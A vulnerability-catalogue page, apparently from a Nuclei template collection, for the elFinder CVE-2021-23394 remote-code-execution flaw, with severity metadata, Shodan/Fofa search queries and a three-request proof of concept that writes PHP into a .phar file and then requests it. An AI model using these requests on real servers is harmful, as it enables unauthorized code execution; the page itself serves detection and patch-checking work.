🔙 목록으로 돌아가기

CVE-2021-23394: elFinder < 2.1.58 - Remote Code Execution

TitleelFinder < 2.1.58 - Remote Code Execution
Author0xanis
SeverityHigh
ImpactAttackers can execute arbitrary PHP code on the server, potentially leading to full server compromise.
RemediationUpdate to version 2.1.58 or later.
CVSS Score8.1
EPSS Score0.77529
CVE IDCVE-2021-23394
CWE IDCWE-434
Shodan Queryhttp.title:"elfinder"
Fofa Querytitle="elfinder"
Tags cve cve2021 elfinder rce phar file-upload intrusive vkev

🔍 Vulnerability Description

studio-42/elfinder before 2.1.58 contains a remote code execution caused by execution of PHP code in a .phar file, letting attackers execute arbitrary PHP code if the server parses .phar files as PHP, exploit requires server to parse .phar files as PHP.

🌐 HTTP Request

GET /elFinder/php/connector.minimal.php?cmd=mkfile&target=l1_Lw&name=JhxfOlcv.phar HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Safari
Connection: close
Accept: application/json
Accept-Encoding: gzip
GET /elFinder/php/connector.minimal.php?cmd=put&target=NX38bV&content=<?='';+echo+md5('38FFy8pwGj3SiY8pPsNZJaFp1Om');+?> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0
Connection: close
Accept: application/json
Accept-Encoding: gzip
GET /elFinder/files/JhxfOlcv.phar HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-23394.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-23394.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A